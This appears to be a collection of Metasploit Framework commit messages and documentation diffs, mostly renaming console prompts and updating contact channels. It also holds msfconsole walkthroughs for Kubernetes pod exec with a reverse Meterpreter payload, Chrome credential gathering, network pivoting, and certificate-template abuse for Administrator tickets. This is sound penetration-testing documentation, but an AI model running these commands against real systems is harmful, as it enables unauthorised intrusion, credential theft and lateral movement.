- Update Twitter references to X in Contact.md and README.md
- Add YouTube channel to Contact.md
- Remove IRC reference from CONTRIBUTING.md as requested
- Address all maintainer suggestions from PR review
- Centralize JS fingerprint checks in `check`
- Memoize `get_valid_cookies` correctly and reuse a single `cookie_jar`
- Update `inject_command` to test payload on each cookie separately
- Add GitHub Discussions and Slack as primary support channels
- Update README.md with current communication options
- Update Contact.md with organized channel hierarchy
- Update CONTRIBUTING.md to include GitHub Discussions
- Maintain references to existing IRC and mailing list channels
Addresses #20234
- Adds modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb
- Adds documentation for the module in documentation/modules/exploit/linux/http/ispconfig_lang_edit_php_code_injection.md
- Module targets ISPConfig < 3.2.11p1 with admin_allow_langedit enabled
- References and implementation based on PoC and advisories at https://github.com/SyFi/CVE-2023-46818
LDAP now uses the LDAPDomain option but this module intends to use it
for both LDAP and HTTP so deregister LDAPDomain, and reregister DOMAIN
as a non-advanced, required option.
- Centralized fetch_cookies_and_csrf and execute_via_session methods for clarity
- Added leak_session_path() to call send_transform("phpinfo") and parse session.save_path via XPath
- In check(): first try to leak the PHP session directory (report vulnerable if successful), then perform a simple RCE check by summing two 4-digit random numbers with print_r()
- Stub injection now happens once in fetch_cookies_and_csrf; execute_via_session only needs the payload
- Randomized the "as hack" key in send_transform
- Simplified exploit() to reuse execute_via_session with a Base64-encoded payload
- Big thanks to @jvoisin for the suggestions!
- Fix Pkcs12 filer to use case insensitive username and realm
- Handle nil values in `StoredPkcs12`
- Use `fallbacks` options in `ldap_login`
- Small fixes
- use the `status`, certificate's `not_before`/`not_after` and check if the TLS
OID is present to filter pkcs12 before using them with PKInit
- add the `activate`, `deactivate` and `export` capabilities to the
certs command
- add specs
- a separate field is now used for metadata (`private_metadata`) when
creating a new Pkcs12
- the `creds` command now support adding an encrypted Pkcs12 with a password
- a separate field is now used for metadata (`private_metadata`) when
creating a new Pkcs12
- the `creds` command now support adding an encrypted Pkcs12 with a password
When a shell session is established against a system which offers
limited shells, its very common to run into something like "help"
being a native command in the target. MSF now intercepts those as
built-ins and presents the MSF shell help instead of letting the
user see the relevant output from the target.
Implement a fix by allowing the user to prepend built-ins with '.'
to pass-through execution of the intended command (such as '.help'
being executed as 'help') to the target.
Testing:
Local testing with racadm SSH shell - works as intended
run:echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
run:echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
@@ -22,6 +22,8 @@ Once you have finished your new module and tested it locally to ensure it's work
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
## Expedited Module Creation Process
We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
### Code Contribution Do's & Don'ts:
@@ -40,13 +42,18 @@ Keeping the following in mind gives your contribution the best chance of landing
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** test your code.
* **Do** list [verification steps] so committers can test your code.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
* **Don't** include sensitive information in your PR (including externally-routable IP addresses in documentation).
* **Don't** PR untested/unvalidated code you copy/pasted from the internet.
* **Don't** PR untested/unvalidated code you copy/pasted from AI or LLM.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
#### <u>New Modules</u>
* **Do** check the issue tracker to see if there is a `suggestion-module` issue for the module you want to write, and assign yourself to it if there is.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
@@ -78,7 +85,7 @@ When reporting Metasploit issues:
***Don't** attempt to report issues on a closed PR.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
[GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) or [Metasploit Slack]
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
@@ -18,7 +18,14 @@ Submit bugs and feature requests via the [GitHub Issues](https://github.com/rapi
For information on writing modules, refer to the [API Documentation](https://docs.metasploit.com/api/).
## Support and Communication
For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list.
For questions and suggestions, you can:
- Join our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) for community support and general questions
- Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat
- Submit [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues) for bug reports and feature requests
- Follow [@metasploit](https://x.com/metasploit) on X or [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit) on Mastodon for updates
**Note:** Some community members may still use IRC channels and the metasploit-hackers mailing list, though the primary support channels are now GitHub Discussions and Slack.
<% description = "Module may cause a noise (Examples: audio output from the speakers or hardware beeps)." %>
<% elsif side_effect == "physical-effects" %>
<% description = "Module may produce physical effects (Examples: the device makes movement or flashes LEDs)." %>
<% elsif side_effect == "unknown-side-effects" %>
<% description = "Module side effects are unknown." %>
<% end %>
* **<%= side_effect %>:** <%= description %>
@@ -85,6 +87,8 @@
<% description = "The module isn't expected to get a shell reliably (such as only once)." %>
<% elsif reliability == "event-dependent" %>
<% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
<% elsif reliability == "unknown-reliability" %>
<% description = "Module reliability is unknown." %>
<% end %>
* **<%= reliability %>:** <%= description %>
@@ -109,6 +113,8 @@
<% description = "Module may cause a resource (such as a file or data in a database) to be unavailable for the service." %>
<% elsif stability == "os-resource-loss" %>
<% description = "Modules may cause a resource (such as a file) to be unavailable for the OS." %>
<% elsif stability == "unknown-stability" %>
<% description = "Module stability is unknown." %>
<linkrel="stylesheet"href="{% link assets/css/main.css %}">
<!-- User Engagement Survey Banner -->
<divid="survey-banner">
<p>📣 We value your feedback — <ahref="https://docs.google.com/forms/d/e/1FAIpQLSd9fgpXmyHOYViSaS6jK_6f1Y1nVSU_eA4UH-fWKYeO5HLvww/viewform"target="_blank"rel="noopener">take our 5-minute survey</a></p>
A lot of our discussion happens on IRC in #metasploit on Freenode.
## GitHub Discussions
For community support, questions, and general discussion, visit our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions).
## Slack
Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat with the community and developers.
## GitHub Issues
Submit bug reports and feature requests through [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues).
# Additional Communication Channels
## Chat
Some community discussion still happens on IRC in #metasploit on Freenode.
Please be patient and hang around for a while -- not everyone is awake
at the same time as you. =)
# Mailing list
## Mailing list
The Metasploit development mailing list used to be hosted on SourceForge, but is now on Google Groups. Metasploit Hackers is dead, long live [Metasploit Hackers][list]. (Or [mailto:Metasploit Hackers][mailto]).
The old list [is archived on seclists.org][archive].
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to caitlin_condon@rapid7.com or todb@metasploit.com.
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to smcintyre@metasploit.com or jacquelyn_harris@rapid7.com.
[archive]: http://seclists.org/metasploit/ "Metasploit mailing list archive"
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authentication tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
@@ -6,7 +6,7 @@ The term 'repo' is short for 'Repository.' Also known as 'fork' (as a noun).
## The Easy Way
The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a whit about preserving branches, history, or pull requests, simply nuke your local fork.
The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a with about preserving branches, history, or pull requests, simply nuke your local fork.
On your fork, in the GitHub UI, go to **Settings**, scroll down to the **Danger Zone**, and hit **Delete this repository**. Once you've re-authenticated, re-fork the `metasploit-framework` repository by going to the [Rapid7 repo](https://github.com/rapid7/metasploit-framework) and hit **Fork** as hard as you possibly can.
@@ -5,18 +5,18 @@ and should not be used during normal operations. These modules also as part of t
By default the test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following:
```msf
msf6 > loadpath test/modules
msf > loadpath test/modules
Loaded 38 modules:
14 auxiliary modules
13 exploit modules
11 post modules
msf6 >
msf >
```
The modules can be searched for:
```msf
msf6 > search post/test
msf > search post/test
Matching Modules
================
@@ -35,8 +35,8 @@ Matching Modules
Example of running the test module against an opened session:
```
msf6 > use post/test/cmd_exec
msf6 post(test/cmd_exec) > run session=-1
msf > use post/test/cmd_exec
msf post(test/cmd_exec) > run session=-1
...
[*] Testing complete in 2.04 seconds
[*] Passed: 6; Failed: 0; Skipped: 0
@@ -47,7 +47,7 @@ The `post/test/all` module is an aggregate module that can be used to quickly ru
Currently, the only supported keywords for search are `session_id`, `session_type`, and `last_checkin`. These keywords can be combined to further filter your results, and used with other flags. For example:
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
```
msf6 > db_status
msf > db_status
[*] Connected to msf. Connection type: postgresql.
@@ -11,7 +11,7 @@ Note that any port can be used to run an application which communicates via HTTP
This document is generic advice for running and debugging HTTP based Metasploit modules, but it is best to use a Metasploit module which is specific to the application that you are pentesting. For instance:
```msf
msf6 > search tomcat http
msf > search tomcat http
```
### HTTP Examples
@@ -49,12 +49,12 @@ run http://example.com HttpTrace=true verbose=true
For instance:
```msf
msf6 > use scanner/http/title
msf6 auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
msf > use scanner/http/title
msf auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/title) > set HttpTrace true
msf auxiliary(scanner/http/title) > set HttpTrace true
HttpTrace => true
msf6 auxiliary(scanner/http/title) > run
msf auxiliary(scanner/http/title) > run
####################
# Request:
@@ -89,7 +89,7 @@ Content-Length: 178
[+] [127.0.0.1:80] [C:200] [R:] [S:SimpleHTTP/0.6 Python/2.7.16] Directory listing for /
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/title) >
msf auxiliary(scanner/http/title) >
```
To send all HTTP requests through a proxy, i.e. through Burp Suite:
@@ -9,7 +9,7 @@ a compromised docker container, or external to the cluster if the required APIs
In the future there may be more modules than listed here, for the full list of modules run the `search` command within msfconsole:
```msf
msf6 > search kubernetes
msf > search kubernetes
```
### Lab Environment
@@ -41,12 +41,12 @@ run session=-1
If the Kubernetes API is publicly accessible and you have a JWT Token:
```msf
msf6 > use cloud/kubernetes/enum_kubernetes
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
msf > use cloud/kubernetes/enum_kubernetes
msf auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
RHOST => https://kubernetes.docker.internal:6443
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
msf auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run
msf auxiliary(cloud/kubernetes/enum_kubernetes) > run
[*] Running module against 127.0.0.1
[+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"}
@@ -68,7 +68,7 @@ Namespaces
By default the `run` command will enumerate all resources available, but you can also specify which actions you would like to perform:
```msf
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
msf auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
Auxiliary actions:
@@ -115,9 +115,9 @@ If you have a Meterpreter session on a compromised Kubernetes container with the
will be gathered from the session host automatically. The `TOKEN` will be read from the mounted `/run/secrets/kubernetes.io/serviceaccount/token` file if available:
```msf
msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
msf exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
TARGET => Interactive WebSocket
msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
msf exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
[*] Routing traffic through session: 1
[+] Kubernetes service host: 10.96.0.1:443
@@ -137,19 +137,19 @@ pwd
If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the `thinkphp-67f7c88cc9-tgpfh` pod:
```msf
msf6 > use exploit/multi/kubernetes/exec
msf > use exploit/multi/kubernetes/exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
msf exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
TOKEN => eyJhbGciOiJSUzI1...
msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
msf exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
POD => thinkphp-67f7c88cc9-tgpfh
msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
msf exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
RHOSTS => 192.168.159.31
msf6 exploit(multi/kubernetes/exec) > set TARGET Python
msf exploit(multi/kubernetes/exec) > set TARGET Python
TARGET => Python
msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
msf exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > run
msf exploit(multi/kubernetes/exec) > run
[*] Started reverse TCP handler on 192.168.159.128:4444
@@ -26,8 +26,8 @@ There are two ways to launch a Post module, both require an existing session.
Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
```msf
msf6 > use post/windows/gather/enum_chrome
msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
msf > use post/windows/gather/enum_chrome
msf post(windows/gather/enum_chrome) > run session=-1 verbose=true
[*] Impersonating token: 7192
[*] Running as user 'DESKTOP-N3MAG5R\basic_user'...
@@ -44,13 +44,13 @@ msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
Each Metasploit module also has _advanced_ options, which can often be useful for fine-tuning modules, in particular setting connection timeouts values can be useful:
@@ -118,9 +118,9 @@ The values that are common to both `HTTP(S)` and `TCP` transports are:
* `tcp://:<port>` - indicates that this payload is a _bind_ payload listening on the specified port (note that no host is specified).
* `http://<host>:<port>/<uri>` - indicates that this payload is an HTTP connection (can only be _reverse_).
* `https://<host>:<port>/<uri>` - indicates that this payload is an HTTPS connection (can only be _reverse_).
* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the **Timeout documentation** (link coming soon).
* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the **Timeout documentation** (link coming soon).
* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the **Timeout documentation** (link coming soon).
* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
The layout of this block in memory looks like the following:
@@ -159,8 +159,8 @@ At this time, there are no `TCP`-specific configuration values, as the common co
* `http://<proxy ip>:<proxy port>` in the case of `HTTP` proxies.
* `socks=<socks ip>:<sock port>` in the case of `socks` proxies.
* **Proxy user name** - Some proxies require authentication. In such cases, this value contains the username that should be used to authenticate with the given proxy. This field is `64` characters in size (`wchar_t`).
* Proxy password - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`).
***User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`).
* **Proxy password** - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`).
***User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`).
* **Expected SSL certificate hash** - Meterpreter has the capability of validating the SSL certificate that Metasploit presents when using `HTTPS`. This value contains the `20`-byte SHA1 hash of the expected certificate. For more information, please read the **SSL certificate validation documentation** (link coming soon).
All values that are shown above need to be specified in the configuration, including SSL certificate validation for plain `HTTP` connections. Values that are not used should be zeroed out.
@@ -207,7 +207,7 @@ As already mentioned, more than one of these transport configuration blocks can
### Extension configuration block
The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have **Stageless payloads** (link coming soon), and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the **Stageless payloads** (link coming soon) documentation.
The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have [[Stageless payloads|./Meterpreter-Stageless-Mode.md]], and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the [[Stageless payloads|./Meterpreter-Stageless-Mode.md]] documentation.
The extension configuration block also functions as a "list" to allow for an arbitrary number of extensions to be included. Each extension entry needs to contain:
@@ -71,7 +71,7 @@ Related open tickets (slightly broader than Meterpreter):
* Change desktop/phone background
* Remote mouse control
* Play sound on the remote system
* Read words outloud via text to speech on the remote system
* Read words outloud via text to speech on the remote system
* Volume control
* RSS feed from reverse_http(s) mult-handler that I can connect a RSS reader to (or something like IFTTT) and get notices when new sessions are created
@@ -15,27 +15,27 @@ Once the appropriate repository label is added, you will need to edit the GitHub
repository and branch you want to test. Below I will outline some changes that are required to make this work, update
the following lines like so:
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L188):
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189):
```yaml
repository: foo-r7/metasploit-framework
```
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L190):
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191):
```yaml
ref: fixes-all-the-bugs
```
3. Point at your forked repository that contains the payload changes you'd like to test - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L249)
3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250):
```yaml
repository: foo-r7/metasploit-payloads
```
4. Point at your forked repository branch that contains the payload changes you'd like to test - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L251):
4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252):
```yaml
ref: fixes-all-the-payload-bugs
```
Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the
following lines would need updated:
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L155).
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L157).
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156).
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158).
SUBNET 169.254.0.0 no Subnet (IPv4, for example, 10.10.10.0)
msf6 post(multi/manage/autoroute) > run
msf post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows
@@ -76,12 +76,12 @@ msf6 post(multi/manage/autoroute) > run
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.19.176.0/255.255.240.0 from host's routing table.
[*] Post module execution completed
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
If we now use Meterpreter's `route` command we can see that we have two route table entries within Metasploit's routing table, that are tied to Session 1, aka the session on the Windows 11 machine. This means anytime we want to contact a machine within one of the networks specified, we will go through Session 1 and use that to connect to the targets.
```msf
msf6 post(multi/manage/autoroute) > route
msf post(multi/manage/autoroute) > route
IPv4 Active Routing Table
=========================
@@ -92,16 +92,16 @@ IPv4 Active Routing Table
172.19.176.0 255.255.240.0 Session 1
[*] There are currently no IPv6 routes defined.
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entries.
```msf
msf6 post(multi/manage/autoroute) > route flush
msf6 post(multi/manage/autoroute) > route
msf post(multi/manage/autoroute) > route flush
msf post(multi/manage/autoroute) > route
[*] There are currently no routes defined.
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
Now lets trying doing the same thing manually.
@@ -109,13 +109,13 @@ Now lets trying doing the same thing manually.
Here we can use `route add <IP ADDRESS OF SUBNET> <NETMASK> <GATEWAY>` to add the routes from within Metasploit, followed by `route print` to then print all the routes that Metasploit knows about. Note that the Gateway parameter is either an IP address to use as the gateway or as is more commonly the case, the session ID of an existing session to use to pivot the traffic through.
Finally we can check that the route will use session 1 by using `route get 169.254.204.110`
```msf
msf6 post(multi/manage/autoroute) > route get 169.254.204.110
msf post(multi/manage/autoroute) > route get 169.254.204.110
169.254.204.110 routes through: Session 1
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
If we want to then remove a specific route (such as in this case we want to remove the 172.19.176.0/20 route since we don't need that for this test), we can issue the `route del` or `route remove` commands with the syntax `route remove <IP ADDRESS OF SUBNET><NETMASK IN SLASH FORMAT> <GATEWAY>`
@@ -142,9 +142,9 @@ If we want to then remove a specific route (such as in this case we want to remo
meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
@@ -250,7 +250,7 @@ meterpreter > background
Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine. Note there is no need to start a handler for the named pipe payload.
```msf
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
msf payload(windows/x64/meterpreter/reverse_named_pipe) > show options
@@ -384,8 +384,8 @@ Once routes are established, Metasploit modules can access the IP range specifie
Metasploit can launch a SOCKS proxy server using the module: `auxiliary/server/socks_proxy`. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Here is an example of how this module might be used:
```msf
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options
msf > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
@@ -407,16 +407,16 @@ Auxiliary action:
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf auxiliary(server/socks_proxy) > set SRVPORT 1080
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@@ -207,8 +217,8 @@ This will cause the module to log into the LDAP server on the target DC, and lis
as well as the permissions that are required to enroll in these certificate templates. The following is a sample output of running this against a test server:
```msf
msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
msf > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -401,20 +411,20 @@ To do this we will use the `ipcr_cert` module and we will set the usual options,
For the first run, we will set the usual `RHOSTS`, `CA`, and `CERT_TEMPLATE` details, being sure to set `CERT_TEMPLATE` to the vulnerable `ESC2-Template` certificate template, and supply valid SMB login credentials. This will grant us a certificate for our current user that is based off of the vulnerable `ESC2-Template`:
```msf
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
CA => daforest-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
